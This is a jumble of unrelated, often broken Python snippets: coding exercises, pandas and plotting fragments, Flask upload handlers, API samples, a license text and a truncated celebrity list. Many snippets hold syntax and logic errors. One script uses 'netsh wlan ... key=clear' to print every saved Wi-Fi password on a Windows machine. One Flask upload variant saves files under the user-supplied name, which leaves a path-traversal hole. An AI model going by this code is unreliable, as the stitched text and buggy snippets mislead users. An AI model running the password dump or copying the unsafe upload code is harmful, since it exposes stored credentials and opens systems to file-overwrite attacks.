    count = count + 1  #In the body of the loop, we add 1 to the current value of count
print('Count: ', count)
# Once the loop completes, the value of count is the total number of items
# Comment on a single line

user = "JDoe" # Comment after code
import re

regex = re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})+')

def isValid(email):
    if re.fullmatch(regex, email):
      print("Valid email")
    else:
      print("Invalid email")
def check_if_vowel(word):
    count_v = 0
    for letter in word.lower():
            if letter == "a" or letter == "i" or letter == "o" or letter == "u":
                count_v =+1
            return count_v
        
ans = input("Word of choise:")

print(f"It has {check_if_vowel(ans)} vowels")
class Solution:
    def longestConsecutive(self, nums: List[int]) -> int:
        numlist = set(nums) 
        #you need set or else it's too slow 
        longest = 0 
        
        #the concept is you are checking to see if there is a left neighbor. If not, then there is a new sequence of conseuctive numbers. 
        
        for n in nums: 
            if (n - 1) not in numlist: 
                length = 0 
                while (n + length) in numlist: 
                    length += 1 
                longest = max(length, longest)
        return longest 
class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        #if there were no time complexity restriction, you can use nested for loops and just continue if index of first for loop == index of second for loop 
        #if there were no divsion restriction, you can just find prod(nums) len(nums) times and divide by num[i] and append to result 
        
        res = [1] * len(nums) 
        
        prefix = 1 
        
        for i in range(len(nums)): 
            res[i] = prefix 
            prefix *= nums[i] 
        postfix = 1 
        for i in range(len(nums) - 1, -1, -1): 
            res[i] *= postfix 
            postfix *= nums[i] 
        return res 
        
        
        
            
#must be in O(N) time, O(1) space, and not use divide operator             
            
class Solution:
    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
        def Remove(lst): #to remove repeats at end 
            return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}]) 
    
    
        result = []
        for i in range(0, len(strs)): 
            anagram_subset = [strs[i]]
            sorted_string = sorted(strs[i]) 
            for d in range(0, len(strs)):
            #to avoid repeat 
            #maybe change to start, end pointers to avoid making duplicate in first place? 
                if d == i: 
                    continue 
                if sorted(strs[d]) == sorted_string: 
                    anagram_subset.append(strs[d])
            anagram_subset.sort()
            result.append(anagram_subset)
            anagram_subset = [] 
        return Remove(result) 

#Big O is n * n * n log N lol 

#more efficient solution 

	def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
          res = defaultdict(list) #map charCount to list of anagrams 

          for s in strs: 
            count = [0] * 26 # a ... z 

            for c in s: 
              count[ord(c) - ord("a")] += 1 #mapping to ASCII and then adding 1 so that a = 1, b = 2, etc. 

              res[tupule(count)].append(s) 

          return res.values()

        #big O(m * n * 26) which is just (m * n)
from dash.dash_table.Format import Format, Group, Scheme, Symbol

columns=[{            
    'id': 'euros',
    'name': 'euros',
    'type': 'numeric',
    'format': Format(
        scheme=Scheme.fixed, 
        precision=2,
        group=Group.yes,
        groups=3,
        group_delimiter=', ',
        decimal_delimiter='.',
        symbol=Symbol.yes, 
        symbol_prefix=u'€')
}]
import asyncio

import httpx


async def main():
	async with httpx.AsyncClient() as client:
		resp = await client.get("https://python.org")
        http_text = await resp.text()
		print(http_text)


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
# Raise warning if duplicate is detected
df_combined = pd.concat([df1, df2], axis=1) \
								.set_flags(allow_duplicate_labels=False)

# Check if duplicates exist then remove
df_combined = df.loc[:. ~df_combined.columns.duplicated()].copy()
df['Categorical_Column'] = df['Categorical_Column'].astype('category')
df_merged = df1.merge(df2, on=['colName'], suffixes=('_mens', '_womens'))
df['Percent_Change'] = df['Revenue'].pct_change()
df['Sales_Difference'] = df['Units'].diff()
valA = "abc"
valB = 50

df.query('colA == @valA and colB < @valB')
# librerias necesarias
import glob
import cv2
import matplotlib.pyplot as plt
#Leer y mostrar una sola imagen
file = 'D:\BinaryStudy\demo\Images\image001.tif'
image = cv2.imread(file)
cv2.imshow('display', image)
cv2.waitKey(0)
cv2.destrouAllWindows() 
#Leer todas la imagenes
file = 'D:\BinaryStudy\demo\Images\*.tif' 
glob.glob(file)
# Using List Comprehension to read all images
images = [cv2.imread(image) for image in glob.glob(file)]
#mostrar las imagenes
# Define a figure of size (8, 8)
fig=plt.figure(figsize=(8, 8))
# Define row and cols in the figure
rows, cols = 2, 2
# Display first four images
for j in range(0, cols*rows):
  fig.add_subplot(rows, cols, j+1)
  plt.imshow(images[j])
plt.show()

import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = (20,3)
top_employer_by_country = {}

countries = f500['country'].unique()

for c in countries:
    
    # select only the rows that have a country name equal to current iteration
    selected_rows = f500[f500['country'] == c]
    
    # sort the rows by employees column in descending order
    sorted_rows = selected_rows.sort_values('employees', ascending=False)
    
    # select the first row from the sorted dataframe
    top_employer = sorted_rows.iloc[0]
    
    # extract the company name from the index label company from the first row
    employer_name = top_employer['company']
    
    # assign the results to dictionary using country name as the key and company name as the        value
    top_employer_by_country[c] = employer_name
    
    
import random
print("Hello & welcome to Aidan's Tote shack!")
print("We have Totes of all colors!")
print("Out colors consist of, Red, Blue, Orange, Pink, Cyan, Maroon, Purple and Yellow!")
print("Please type the color you want, you can only choose one!")
 
larisha=input()
 
int = shawn=random.randint(19, 20)
    
 
if(larisha =="red"):
    print("A child... I see, one red tote coming up!")
 
elif(larisha=="pink"):
    print("Ah, either a little girl or a little girl, either way you're paying for it so no problem!")
 
elif(larisha=="blue"):
    print("a man of culture I see, I forsee phat stacks of cash in my wallet.")
 
elif(larisha=="orange"):
    print("Knock knock? Orange you glad we have this color? One orange tote coming up!")
 
elif(larisha=="yellow"):
    print("Wow, a functioning human that accually likes the color yellow. How surprising. One not yellow tote coming up!")
 
elif(larisha=="maroon"):
    print("OoOoOoOo... a dark brooding bad boy, How scary. One pink Maroon Five tote coming up!")
 
elif(larisha=="cyan"):
    print("another child ewwwwwwwwwwww, one abnormally large tote coming up!")
 
elif(larisha=="purple"):
     print("Hmmm it seems we are out of purple ink, you can get a blue tote instead. Sorry for the inconvenience!"):
     print("One Blue tote coming up!")
elif(shawn==20):
    print("Sorry we don't offer that color!")
elif(shawn==19):
    print("Was that color on the list? Try again, next time please read the given options!")
import bse64.b64encode
encoded = b'client_key:client_secret'
token = 'Basic ' + encoded
from abc import ABC, abstractmethod


class Creator(ABC):
    """
    The Creator class declares the factory method that is supposed to return an
    object of a Product class. The Creator's subclasses usually provide the
    implementation of this method.
    """

    @abstractmethod
    def factory_method(self):
        """
        Note that the Creator may also provide some default implementation of
        the factory method.
        """
        pass

    def some_operation(self) -> str:
        """
        Also note that, despite its name, the Creator's primary responsibility
        is not creating products. Usually, it contains some core business logic
        that relies on Product objects, returned by the factory method.
        Subclasses can indirectly change that business logic by overriding the
        factory method and returning a different type of product from it.
        """

        # Call the factory method to create a Product object.
        product = self.factory_method()

        # Now, use the product.
        result = f"Creator: The same creator's code has just worked with {product.operation()}"

        return result


"""
Concrete Creators override the factory method in order to change the resulting
product's type.
"""


class ConcreteCreator1(Creator):
    """
    Note that the signature of the method still uses the abstract product type,
    even though the concrete product is actually returned from the method. This
    way the Creator can stay independent of concrete product classes.
    """

    def factory_method(self) -> Product:
        return ConcreteProduct1()


class ConcreteCreator2(Creator):
    def factory_method(self) -> Product:
        return ConcreteProduct2()


class Product(ABC):
    """
    The Product interface declares the operations that all concrete products
    must implement.
    """

    @abstractmethod
    def operation(self) -> str:
        pass


"""
Concrete Products provide various implementations of the Product interface.
"""


class ConcreteProduct1(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct1}"


class ConcreteProduct2(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct2}"


def client_code(creator: Creator) -> None:
    """
    The client code works with an instance of a concrete creator, albeit through
    its base interface. As long as the client keeps working with the creator via
    the base interface, you can pass it any creator's subclass.
    """

    print(f"Client: I'm not aware of the creator's class, but it still works.\n"
          f"{creator.some_operation()}", end="")


if __name__ == "__main__":
    print("App: Launched with the ConcreteCreator1.")
    client_code(ConcreteCreator1())
    print("\n")

    print("App: Launched with the ConcreteCreator2.")
    client_code(ConcreteCreator2())
import pandas pd

excel_file = pd.read_excel(‘file.xlsx’, sheet_name=None)
dataset_combined = pd.concat(excel_file.values())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#..................python program to find the wifi passwords.....!
import subprocess
 
# now we will store the profiles data in "data" variable by 
# running the 1st cmd command using subprocess.check_output
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
# now we will store the profile by converting them to list
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
 
# using for loop in python we are checking and printing the wifi 
# passwords if they are available using the 2nd cmd command
for i in profiles:
    # running the 2nd cmd command to check passwords
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 
                        'key=clear']).decode('utf-8').split('\n')
    # storing passwords after converting them to list
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    # printing the profiles(wifi name) with their passwords using 
    # try and except method 
    try:
        print ("{:<30}|  {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}|  {:<}".format(i, ""))
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8" />
      <meta http-equiv="X-UA-Compatible" content="IE=edge" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>PyScript</title>

      <!-- styles and script dependencies -->
      <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
      <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
   </head>
   <body>
      <!-- title -->
      <h3>Testing python code in HTML</h3>

      <!-- python code -->
      <py-script> print('Now you can!') </py-script>
     
   </body>
</html>
#pip install beautifulsoup4

import os
import requests
from bs4 import BeautifulSoup

url = "https://www.google.com/"
reponse = requests.get(url)

if reponse.ok:
	soup = BeautifulSoup(reponse.text, "lxml")
	title = str(soup.find("title"))

	title = title.replace("<title>", "")
	title = title.replace("</title>", "")
	print("The title is : " + str(title))

os.system("pause")

#python (code name).py
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return '', 204

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413
@app.route('/uploads/<filename>')
@login_required
def upload(filename):
    return send_from_directory(os.path.join(
        app.config['UPLOAD_PATH'], current_user.get_id()), filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)  # 512 bytes should be enough for a header check
    stream.seek(0)  # reset stream pointer
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0) 
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
import imghdr

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS']:
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
>>> from werkzeug.utils import secure_filename
>>> secure_filename('foo.jpg')
'foo.jpg'
>>> secure_filename('/some/path/foo.jpg')
'some_path_foo.jpg'
>>> secure_filename('../../../.bashrc')
'bashrc'
uploaded_file.save(os.path.join('static/avatars', current_user.get_id()))
    filename = uploaded_file.filename
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in current_app.config['UPLOAD_EXTENSIONS']:
            abort(400)
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_file():
    uploaded_file = request.files['file']
    if uploaded_file.filename != '':
        uploaded_file.save(uploaded_file.filename)
    return redirect(url_for('index'))
<!doctype html>
<html>
  <head>
    <title>File Upload</title>
  </head>
  <body>
    <h1>File Upload</h1>
    <form method="POST" action="" enctype="multipart/form-data">
      <p><input type="file" name="file"></p>
      <p><input type="submit" value="Submit"></p>
    </form>
  </body>
</html>
import win32gui
import win32.lib.win32con as win32con
memo_app = win32gui.FindWindow(None,'タイトルなし - メモ帳')    #「タイトルなし - メモ帳」という名前のウィンドウハンドルを取得
win32gui.SetForegroundWindow(memo_app)                         #ウィンドウを最前面に移動してアクティブ化
win32gui.ShowWindow(memo_app, win32con.SW_MAXIMIZE)            #ウィンドウを最大化
(pd.DataFrame([{"email":[114, 111, 98, 46, 106, 46, 114, 97, 121, 109, 111, 110, 
                        100, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109]}])
 .assign(email=lambda d: d.email.apply(lambda l: "".join([chr(c) for c in l])))
)
import requests
import pandas as pd
import io
from pathlib import Path


# setup some data so code works
f = Path.cwd().joinpath("eurusd_m1_03.03.2022.csv")
pd.read_csv(
    io.StringIO(
        requests.get(
            "https://www.marketwatch.com/investing/currency/eurusd/downloaddatapartial?startdate=08/03/2022%2000:00:00&enddate=09/02/2022%2023:59:59&daterange=d30&frequency=p1d&csvdownload=true&downloadpartial=false&newdates=false"
        ).text
    )
).pipe(
    lambda d: d.rename(columns={c: c.lower() for c in d.columns}).rename(
        columns={"date": "time"}
    )
).to_csv(
    f
)


from time import time
import plotly.graph_objects as go
import pandas as pd

def PrintChartData():
    data = pd.read_csv("eurusd_m1_03.03.2022.csv")
    return data


def PrintDataChart():
    data = pd.read_csv("eurusd_m1_03.03.2022.csv")
    chart_data = go.Candlestick(
        x=data["time"],
        open=data["open"],
        high=data["high"],
        low=data["low"],
        close=data["close"],
    )
    fig = go.Figure(data=[chart_data])
    print(fig.show())


PrintDataChart()
fileinput = str(input("Which file do you want?"))
if not ".csv" in fileinput:
  fileinput += ".csv"
fileinput = str(input("Which file do you want?"))
if not ".csv" in fileinput:
  fileinput += ".csv"
  import pandas as pd 
data = pd.read_csv(fileinput)
rowcol = input("Column or row?")
if rowcol == "column":
  column = int(input("Which column?"))
  result = data.iloc([column])
elif rowcol == "row":
  row = int(input("Which row?"))
  result = data.iloc[[row]]
else:
  print("Invalid response.")

print(result)
import pandas as pd # pip install pandas

#read the CSV file
data_file = =pd.read_csv('some_file.csv')
print(data_file)
import csv

with open('example.csv') as csvfile:
    readCSV = csv.reader(csvfile, delimiter=',')
import os

MENU = {
    "espresso": {
        "ingredients": {
            "water": 50,
            "coffee": 18,
        },
        "cost": 1.5,
    },
    "latte": {
        "ingredients": {
            "water": 200,
            "milk": 150,
            "coffee": 24,
        },
        "cost": 2.5,
    },
    "cappuccino": {
        "ingredients": {
            "water": 250,
            "milk": 100,
            "coffee": 24,
        },
        "cost": 3.0,
    }
}

resources = {
    "water": 300,
    "milk": 200,
    "coffee": 100,
    "money": 0
}

current_resources = resources

# TODO: 1 Print report


def report(item):

    print("*"*20)
    print(f"* Water : {item['water']}ml")
    if "milk" in item:
        print(f"* Milk : {item['milk']}ml")
    print(f"* Coffee : {item['coffee']}g")
    if "money" in item:
        print(f"* Money : ${item['money']:.2f}")
    print("*"*20)


# TODO: 3 Resources check


def sufficient_resources(item):

    water = False
    milk = False
    coffee = False
    if resources["water"] >= item["ingredients"]["water"]:
        water = True
    else:
        print("Sorry, there's not enough water")

    if resources["coffee"] >= item["ingredients"]["coffee"]:
        coffee = True
    else:
        print("Sorry, there's not enough coffee")
    if "milk" in item["ingredients"]:
        if resources["milk"] >= item["ingredients"]["milk"]:
            milk = True
        else:
            print("Sorry, there's not enough milk")
    else:
        milk = True

    return water and milk and coffee


# TODO: 4 Process payment
def process_coins(item):
    cost = item["cost"]
    amount = cost
    result = False

    print(f"Please insert coins to the value of ${cost:.2f}.")
    quarters = int(input("  How many quarters?: "))
    amount -= (quarters * 0.25)
    if amount > 0:
        dimes = int(input("  How many dimes?: "))
        amount -= (dimes * 0.1)
        if amount > 0:
            nickels = int(input("  How many nickels?: "))
            amount -= (nickels * 0.05)
            if amount > 0:
                pennies = int(input("  How many pennies?: "))
                amount -= (pennies * 0.1)
    if amount > 0:
        print(f"Sorry, that's not enough money. Your ${amount:.2f} has been refunded.")
        return False
    elif amount < 0:
        print(f"Here is ${abs(amount):.2f} in change.")
        return True
    else:
        return True


def update_resources(item):

    water = resources["water"] - item["ingredients"]["water"]
    coffee = resources["coffee"] - item["ingredients"]["coffee"]
    if "milk" in item["ingredients"]:
        milk = resources["milk"] - item["ingredients"]["milk"]
    else:
        milk = resources["milk"]
    money = resources["money"] + item["cost"]
    updated_resources = {
        "water": water,
        "milk": milk,
        "coffee": coffee,
        "money": money,
    }
    return updated_resources


clear = lambda: os.system("cls")


# Main program flow ===========================================================


machine_on = True
choices = ["report", "off", "espresso", "latte", "cappuccino"]
drink = ""

# TODO: 2 User prompt

while machine_on:
    # clear()
    prompt = ""
    while prompt not in choices:
        prompt = input("  What would you like? (espresso/latte/cappuccino): ").lower()
        if prompt == "off":
            machine_on = False
        elif prompt == "report":
            report(resources)
        elif prompt in choices:
            drink = MENU[prompt]

    if type(drink) != str and prompt != "report":
        if not sufficient_resources(drink):
            pass
        else:
            if process_coins(drink):
                resources = update_resources(drink)
                # print(resources)
                print(f"Here is your {prompt}. Enjoy!☕")
from dataclasses import dataclass
 
@dataclass
class Book_list:
	name: str
	perunit_cost: float
	quantity_available: int = 0
		
	# function to calculate total cost	
	def total_cost(self) -> float:
		return self.perunit_cost * self.quantity_available
	
book = Book_list("Introduction to programming.", 300, 3)
x = book.total_cost()
 
# print the total cost
# of the book
print(x)
 
# print book details
print(book)
 
# 900
Book_list(name='Python programming.',
		perunit_cost=200,
		quantity_available=3)
MIT License

Copyright (c) [year] [fullname]

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
def print_data_chart():
    data = pd.read_csv("USDCAD.csv")
    chart_data = go.Candlestick(x=data['time'], open=data['open'], high=data['high'], low=data['low'], close=data['coose'])
df['year'] = df['date'].dt.year if we put dt.month is for month etc..
df.head()
def find_boundaries(df, variable, distance=1.5):

    IQR = df[variable].quantile(0.75) - df[variable].quantile(0.25)

    lower_boundary = df[variable].quantile(0.25) - (IQR * distance)
    upper_boundary = df[variable].quantile(0.75) + (IQR * distance)

    return upper_boundary, lower_boundary
data.nunique().plot.bar(figsize=(12,6))
plt.ylabel('Number of unique categories')
plt.xlabel('Variables')
plt.title('Cardinality')

## Version with 5% threshold

fig = label_freq.sort_values(ascending=False).plot.bar()
fig.axhline(y=0.05, color='red')
fig.set_ylabel('percentage of cars within each category')
fig.set_xlabel('Variable: class')
fig.set_title('Identifying Rare Categories')
plt.show()
data.isnull().mean().plot.bar(figsize=(12,6))
plt.ylabel('Percentage of missing values')
plt.xlabel('Variables')
plt.title('Quantifying missing data')
# Get the Numerical Data list to infer distribution plots

numerical = [var for var in df.columns if df[var].dtype!='O'] 
print('There are {} numerical variables\n'.format(len(numerical))) 
print('The numerical variables are :', numerical)

# Get the Categorical Data list to infer distribution plots

categorical = [var for var in df.columns if df[var].dtype =='O'] 
print('There are {} Categorical variables\n'.format(len(categorical))) 
print('The Categorical variables are :', categorical)
#Add the new column which gives a unique number to each of these labels 

df['label_num'] = df['label'].map({
    'Household' : 0, 
    'Books': 1, 
    'Electronics': 2, 
    'Clothing & Accessories': 3
})

#checking the results 
df.head(5)
### utlity function for pre-processing the text
import spacy

# load english language model and create nlp object from it
nlp = spacy.load("en_core_web_sm") 

def preprocess(text):
    # remove stop words and lemmatize the text
    doc = nlp(text)
    filtered_tokens = []
    for token in doc:
        if token.is_stop or token.is_punct:
            continue
        filtered_tokens.append(token.lemma_)
    
    return " ".join(filtered_tokens) 

df['preprocessed_txt'] = df['Text'].apply(preprocess)
import pandas as pd

read_file = pd.read_excel (r'Path where the Excel file is stored\File name.xlsx')
read_file.to_csv (r'Path to store the CSV file\File name.csv', index = None, header=True)
import feedparser
d = feedparser.parse('https://news.yahoo.co.jp/pickup/rss.xml')
d['feed']['title']

# ライブラリの読み込み
import tweepy

#****には自身のコードを入力してください
CONSUMER_KEY = '****'
CONSUMER_SECRET = '****'
ACCESS_TOKEN = '****'
ACCESS_SECRET = '****'

#twitter認証
auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)
api = tweepy.API(auth)

# アカウント指定(Twitterアカウントの@以降の英数字)
Account = '****'

# アカウントの内部IDを取得する
inner_id = api.user_timeline(Account, count=1, page=0)[0].user.id

api.send_direct_message(recipient_id=inner_id,text='Hello world!')
"""
This is an example of Google style.

Args:
    param1: This is the first param.
    param2: This is a second param.

Returns:
    This is a description of what is returned.

Raises:
    KeyError: Raises an exception.
"""
data = [
    {
        'name': 'Instagram',
        'follower_count': 346,
        'description': 'Social media platform',
        'country': 'United States'
    },
    {
        'name': 'Cristiano Ronaldo',
        'follower_count': 215,
        'description': 'Footballer',
        'country': 'Portugal'
    },
    {
        'name': 'Ariana Grande',
        'follower_count': 183,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Dwayne Johnson',
        'follower_count': 181,
        'description': 'Actor and professional wrestler',
        'country': 'United States'
    },
    {
        'name': 'Selena Gomez',
        'follower_count': 174,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Kylie Jenner',
        'follower_count': 172,
        'description': 'Reality TV personality and businesswoman and Self-Made Billionaire',
        'country': 'United States'
    },
    {
        'name': 'Kim Kardashian',
        'follower_count': 167,
        'description': 'Reality TV personality and businesswoman',
        'country': 'United States'
    },
    {
        'name': 'Lionel Messi',
        'follower_count': 149,
        'description': 'Footballer',
        'country': 'Argentina'
    },
    {
        'name': 'Beyoncé',
        'follower_count': 145,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Neymar',
        'follower_count': 138,
        'description': 'Footballer',
        'country': 'Brasil'
    },
    {
        'name': 'National Geographic',
        'follower_count': 135,
        'description': 'Magazine',
        'country': 'United States'
    },
    {
        'name': 'Justin Bieber',
        'follower_count': 133,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Taylor Swift',
        'follower_count': 131,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Kendall Jenner',
        'follower_count': 127,
        'description': 'Reality TV personality and Model',
        'country': 'United States'
    },
    {
        'name': 'Jennifer Lopez',
        'follower_count': 119,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Nicki Minaj',
        'follower_count': 113,
        'description': 'Musician',
        'country': 'Trinidad and Tobago'
    },
    {
        'name': 'Nike',
        'follower_count': 109,
        'description': 'Sportswear multinational',
        'country': 'United States'
    },
    {
        'name': 'Khloé Kardashian',
        'follower_count': 108,
        'description': 'Reality TV personality and businesswoman',
        'country': 'United States'
    },
    {
        'name': 'Miley Cyrus',
        'follower_count': 107,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Katy Perry',
        'follower_count': 94,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Kourtney Kardashian',
        'follower_count': 90,
        'description': 'Reality TV personality',
        'country': 'United States'
    },
    {
        'name': 'Kevin Hart',
        'follower_count': 89,
        'description': 'Comedian and actor',
        'country': 'United States'
    },
    {
        'name': 'Ellen DeGeneres',
        'follower_count': 87,
        'description': 'Comedian',
        'country': 'United States'
    },
    {
        'name': 'Real Madrid CF',
        'follower_count': 86,
        'description': 'Football club',
        'country': 'Spain'
    },
    {
        'name': 'FC Barcelona',
        'follower_count': 85,
        'description': 'Football club',
        'country': 'Spain'
    },
    {
        'name': 'Rihanna',
        'follower_count': 81,
        'description': 'Musician and businesswoman',
        'country': 'Barbados'
    },
    {
        'name': 'Demi Lovato',
        'follower_count': 80,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': "Victoria's Secret",
        'follower_count': 69,
        'description': 'Lingerie brand',
        'country': 'United States'
    },
    {
        'name': 'Zendaya',
        'follower_count': 68,
        'description': 'Actress and musician',
        'country': 'United States'
    },
    {
        'name': 'Shakira',
        'follower_count': 66,
        'description': 'Musician',
        'country': 'Colombia'
    },
    {
        'name': 'Drake',
        'follower_count': 65,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Chris Brown',
        'follower_count': 64,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'LeBron James',
        'follower_count': 63,
        'description': 'Basketball player',
        'country': 'United States'
    },
    {
        'name': 'Vin Diesel',
        'follower_count': 62,
        'description': 'Actor',
        'country': 'United States'
    },
    {
        'name': 'Cardi B',
        'follower_count': 67,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'David Beckham',
        'follower_count': 82,
        'description': 'Footballer',
        'country': 'United Kingdom'
    },
    {
        'name': 'Billie Eilish',
        'follower_count': 61,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Justin Timberlake',
        'follower_count': 59,
        'description': 'Musician and actor',
        'country': 'United States'
    },
    {
        'name': 'UEFA Champions League',
        'follower_count': 58,
        'description': 'Club football competition',
        'country': 'Europe'
    },
    {
        'name': 'NASA',
        'follower_count': 56,
        'description': 'Space agency',
        'country': 'United States'
    },
    {
        'name': 'Emma Watson',
        'follower_count': 56,
        'description': 'Actress',
        'country': 'United Kingdom'
    },
    {
        'name': 'Shawn Mendes',
        'follower_count': 57,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Virat Kohli',
        'follower_count': 55,
        'description': 'Cricketer',
        'country': 'India'
    },
    {
        'name': 'Gigi Hadid',
        'follower_count': 54,
        'description': 'Model',
        'country': 'United States'
    },
    {
        'name': 'Priyanka Chopra Jonas',
        'follower_count': 53,
